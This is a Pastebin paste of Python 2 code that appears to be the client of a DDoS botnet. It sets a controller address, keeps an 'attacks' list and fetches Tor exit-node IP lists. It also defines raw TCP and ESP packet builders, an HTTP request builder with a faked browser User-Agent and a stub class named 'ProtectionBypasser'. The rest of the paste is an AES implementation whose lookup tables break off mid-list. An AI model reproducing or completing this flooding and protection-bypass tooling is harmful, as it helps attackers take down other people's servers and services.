Guest User

Untitled

a guest
Nov 25th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 86.24 KB | None | 0 0
  1. # coding: utf8
  2.  
  3. import socket
  4. import string
  5. import json
  6. import datetime
  7. import socks
  8. import time
  9. import os
  10. import random
  11. import select
  12. import ast
  13. import sys
  14. import base64
  15. import struct
  16. import ssl
  17. import urllib
  18. import commands
  19. import re
  20.  
  21. from threading import Thread
  22. from multiprocessing import Process, Lock, Manager
  23. from collections import OrderedDict as OrderedDictionary
  24.  
  25. socket.setdefaulttimeout(15)
  26.  
  27. # settings
  28. ControllerIP = ("1.1.1.1.", 23)
  29. VERSION = 110
  30.  
  31. TOR_VERSION = 4
  32. DEBUG = False
  33.  
  34. # global vars
  35. lock = Lock()
  36. attacks = []
  37. stop = False
  38.  
  39. MAX_TOR_NODES = None
  40. TOR_EXIT_NODES = []
  41.  
  42. def parse_tor_exit_nodes():
  43. global TOR_EXIT_NODES
  44. print("[i] Parsing tor exit nodes...")
  45. try:
  46. raw_nodes = urllib.urlopen('https://check.torproject.org/exit-addresses').read().split('\n')
  47. except:
  48. TOR_EXIT_NODES = urllib.urlopen('http://torstatus.blutmagie.de/ip_list_exit.php/Tor_ip_list_EXIT.csv').read().split('\n')
  49.  
  50. for node in raw_nodes:
  51. if "ExitAddress" in node:
  52. node_ip = node.split(' ')[1]
  53. TOR_EXIT_NODES.append(node_ip)
  54.  
  55. if len(TOR_EXIT_NODES) < 300:
  56. raise RuntimeError, "Failed to fetch tor exit nodes"
  57.  
  58. print('[i] Got %d tor exit IPs' % len(TOR_EXIT_NODES))
  59.  
  60. parse_tor_exit_nodes()
  61.  
  62. def get_urls(html, domain=''):
  63. try:
  64. domain_list = re.findall(r"""(?i)\b((?:[a-z][\w-]+:(?:/{1,3}|[a-z0-9%])|www\d{0,3}[.]|[a-z0-9.\-]+[.][a-z]{2,4}/)(?:[^\s()<>]+|\(([^\s()<>]+|(\([^\s()<>]+\)))*\))+(?:\(([^\s()<>]+|(\([^\s()<>]+\)))*\)|[^\s`!()\[\]{};:'".,<>?«»“”‘’]))""", html)
  65. domain_match = []
  66. for current_domain in domain_list:
  67. if domain in current_domain[0] or not domain:
  68. domain_match.append(current_domain[0])
  69. return domain_match
  70. except:
  71. return []
  72.  
  73. def int_to_varint(number):
  74. buf = b''
  75. while True:
  76. towrite = number & 0x7f
  77. number >>= 7
  78. if number:
  79. buf += chr(towrite | 0x80)
  80. else:
  81. buf += chr(towrite)
  82. break
  83. return buf
  84.  
  85. def random_char(n):
  86. return ''.join(random.choice(string.ascii_letters) for x in range(n))
  87.  
  88. def get_src():
  89. print("Parsing SRC_IP...")
  90. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  91. s.connect(('8.8.8.8', 1))
  92. srcip = s.getsockname()[0]
  93. print("SRC_IP is " + srcip)
  94. return srcip
  95.  
  96. def make_ip(proto, srcip, dstip, ident=random.randint(10000,30000)):
  97. saddr = socket.inet_aton(srcip)
  98. daddr = socket.inet_aton(dstip)
  99. ihl_ver = (4 << 4) | 5
  100. return struct.pack('!BBHHHBBH4s4s', ihl_ver, 0, 0, ident, 0, random.randint(80,100), proto, 0, saddr, daddr)
  101.  
  102. def make_tcp(srcport, dstport, seq=random.randint(1000,50000), ackseq=0, fin=False, syn=False, rst=False, psh=False, ack=False, urg=False, window=random.choice([8192, 65535, 29200, 1460])):
  103. offset_res = (5 << 4) | 0
  104. flags = (fin | (syn << 1) | (rst << 2) | (psh <<3) | (ack << 4) | (urg << 5))
  105. return struct.pack('!HHLLBBHHH', srcport, dstport, seq, ackseq, offset_res, flags, window, 0, 0)
  106.  
  107. def make_packet(dst, dstport, srcport=random.randint(10000,50000), payload='', fin=False, syn=False, rst=False, psh=False, ack=False, urg=False):
  108. ip = make_ip(socket.IPPROTO_TCP, BOT_SOURCE_IP, dst)
  109. tcp = make_tcp(srcport, dstport, fin=fin, syn=syn, rst=rst, psh=psh, ack=ack, urg=urg)
  110. return ip + tcp + payload
  111.  
  112. def make_esp(dst):
  113. ip = make_ip(socket.IPPROTO_ESP, BOT_SOURCE_IP, dst)
  114. return ip + "293e00e4e3b200000000000050c2ffff9ed70100000000000000"
  115.  
  116. BOT_SOURCE_IP = get_src()
  117.  
  118. class HTTPRequest:
  119.  
  120. def __init__(self, host, path='/', method='GET'):
  121.  
  122. self.method = method
  123. self.path = path
  124. self.host = host
  125.  
  126. self.header_start = "{0} {1} HTTP/1.1\r\n"
  127. self.headers = OrderedDictionary()
  128. self.body = ''
  129.  
  130. self.headers["Host"] = host
  131. self.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"
  132. self.headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  133. self.headers["Accept-Language"] = "en-US,en;q=0.5"
  134. self.headers["Accept-Encoding"] = "none"
  135. self.headers["Connection"] = "keep-alive"
  136. self.headers["Cache-Control"] = "max-age=0"
  137.  
  138. def set_header(self, name, value):
  139. self.headers[name] = value
  140.  
  141. def add_cookie(self, cookie):
  142. self.headers["Cookie"] = self.headers["Cookie"] + '; ' + cookie
  143.  
  144. def set_path(self, path):
  145. self.path = path
  146.  
  147. def get_cookies(self):
  148. return self.headers.get("Cookie")
  149.  
  150. def compose(self):
  151. return self.header_start.format(self.method, self.path) + '\r\n'.join('{}: {}'.format(key, value) for key, value in self.headers.items()) + "\r\n\r\n"
  152.  
  153.  
  154. class ProtectionBypasser:
  155.  
  156. def __init__(self, attack):
  157. self.attack = attack
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167.  
  168.  
  169.  
  170.  
  171.  
  172.  
  173.  
  174.  
  175.  
  176.  
  177.  
  178.  
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185. ##############################################################################################################################
  186. ##############################################################################################################################
  187. ##############################################################################################################################
  188. # AES CBC IMPLEMENTATION
  189.  
  190. import copy
  191. import struct
  192.  
  193. def _compact_word(word):
  194. return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
  195.  
  196. def _string_to_bytes(text):
  197. return list(ord(c) for c in text)
  198.  
  199. def _bytes_to_string(binary):
  200. return "".join(chr(b) for b in binary)
  201.  
  202. def _concat_list(a, b):
  203. return a + b
  204.  
  205. try:
  206. xrange
  207. except Exception:
  208. xrange = range
  209.  
  210. def _string_to_bytes(text):
  211. if isinstance(text, bytes):
  212. return text
  213. return [ord(c) for c in text]
  214.  
  215. def _bytes_to_string(binary):
  216. return bytes(binary)
  217.  
  218. def _concat_list(a, b):
  219. return a + bytes(b)
  220.  
  221. class AES(object):
  222.  
  223. number_of_rounds = {16: 10, 24: 12, 32: 14}
  224.  
  225. rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ]
  226. S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ]
  227. Si = [ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ]
  228. T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ]
  229. T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ]
  230. T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16 ]
  231. T4 = [ 0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 